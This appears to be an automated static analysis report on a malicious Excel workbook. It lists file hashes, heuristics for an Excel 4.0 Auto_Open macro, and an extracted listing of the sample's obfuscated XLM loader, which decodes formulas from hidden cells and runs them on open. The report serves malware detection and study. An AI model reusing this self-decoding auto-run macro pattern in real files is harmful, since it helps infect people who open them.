Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 438bba1fd6359cd0…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:41:30 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: aa15959c0c2953f68e8ef0719d4ba229 SHA-1: f0ffc7c51f68b2e98c67b18478440cbf3b227f10 SHA-256: 438bba1fd6359cd07e53ed2e634f5a0df02380ac8034d1af0f70e75c912eec9e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6525 bytes
SHA-256: d113e91735fa288044125724894a5e5494d2efd3404933299e3db2b227254eb8
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ZzhpUihJ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I154 
' 0018     22 LABEL : Cell Value, String Constant - dDVvsZj len=0 
' 0018     22 LABEL : Cell Value, String Constant - EhxVzDl len=0 
' 0018     21 LABEL : Cell Value, String Constant - eqnBew len=0 
' 0018     27 LABEL : Cell Value, String Constant - GhGhpwziwacf len=0 
' 0018     24 LABEL : Cell Value, String Constant - GnUfugUWI len=0 
' 0018     22 LABEL : Cell Value, String Constant - GYLJcYm len=0 
' 0018     22 LABEL : Cell Value, String Constant - HACokrq len=0 
' 0018     22 LABEL : Cell Value, String Constant - iOkFVkZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - isRkWYJxI len=0 
' 0018     20 LABEL : Cell Value, String Constant - JoHHt len=0 
' 0018     21 LABEL : Cell Value, String Constant - micjCQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - nykxXDPoSa len=0 
' 0018     20 LABEL : Cell Value, String Constant - OrXbY len=0 
' 0018     25 LABEL : Cell Value, String Constant - pdVdOySzkQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - QQpKwdAjAlr len=0 
' 0018     21 LABEL : Cell Value, String Constant - SDCUFY len=0 
' 0018     21 LABEL : Cell Value, String Constant - tBSjFG len=0 
' 0018     27 LABEL : Cell Value, String Constant - TIYccNDYDKuW len=0 
' 0018     25 LABEL : Cell Value, String Constant - tsHBskLXaS len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZWqzrGMtnZ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ZzhpUihJ,I60,"SET.NAME("TIYccNDYDKuW",VALUE("0"))",""
'  ZzhpUihJ,I63,"SET.NAME("nykxXDPoSa",TIYccNDYDKuW)",""
'  ZzhpUihJ,I67,"SET.NAME("pdVdOySzkQ",TIYccNDYDKuW)",""
'  ZzhpUihJ,I72,"SET.NAME("iOkFVkZ",COUNTA(ZWqzrGMtnZ))",""
'  ZzhpUihJ,I74,"SET.NAME("QQpKwdAjAlr",COUNTA(eqnBew))",""
'  ZzhpUihJ,I79,[],""
'  ZzhpUihJ,I84,"SET.NAME("micjCQ","")",""
'  ZzhpUihJ,I88,"nykxXDPoSa",""
'  ZzhpUihJ,I91,"SET.NAME("SDCUFY",HLOOKUP("*",ZWqzrGMtnZ,nykxXDPoSa,FALSE))",""
'  ZzhpUihJ,I95,"tsHBskLXaS",""
'  ZzhpUihJ,I100,"SET.NAME("GYLJcYm",TIYccNDYDKuW)",""
'  ZzhpUihJ,I105,[],""
'  ZzhpUihJ,I109,"GYLJcYm",""
'  ZzhpUihJ,I111,"isRkWYJxI",""
'  ZzhpUihJ,I116,"JoHHt",""
'  ZzhpUihJ,I121,"tBSjFG",""
'  ZzhpUihJ,I124,"SET.NAME("EhxVzDl",VALUE(HLOOKUP("*",eqnBew,tBSjFG,FALSE)))",""
'  ZzhpUihJ,I126,"GhGhpwziwacf",""
'  ZzhpUihJ,I128,"micjCQ",""
'  ZzhpUihJ,I130,"pdVdOySzkQ",""
'  ZzhpUihJ,I132,NEXT(),""
'  ZzhpUihJ,I136,"HACokrq",""
'  ZzhpUihJ,I139,"SET.NAME("f",INT(T(FORMULA(T(micjCQ)&"",""&T(HACokrq)))))",""
'  ZzhpUihJ,I142,"GnUfugUWI",""
'  ZzhpUihJ,I145,NEXT(),""
'  ZzhpUihJ,I150,RETURN(),""
'  ZzhpUihJ,I182,"SET.NAME("OrXbY",I60)",""
'  ZzhpUihJ,I185,"ZWqzrGMtnZ",""
'  ZzhpUihJ,I189,"SET.NAME("eqnBew",R47C15)",""
'  ZzhpUihJ,I194,"SET.NAME("GnUfugUWI",201)",""
'  ZzhpUihJ,I198,"SET.NAME("dDVvsZj",9)",""
'  ZzhpUihJ,I200,OrXbY(),""
'  ZzhpUihJ,I201,HALT(),""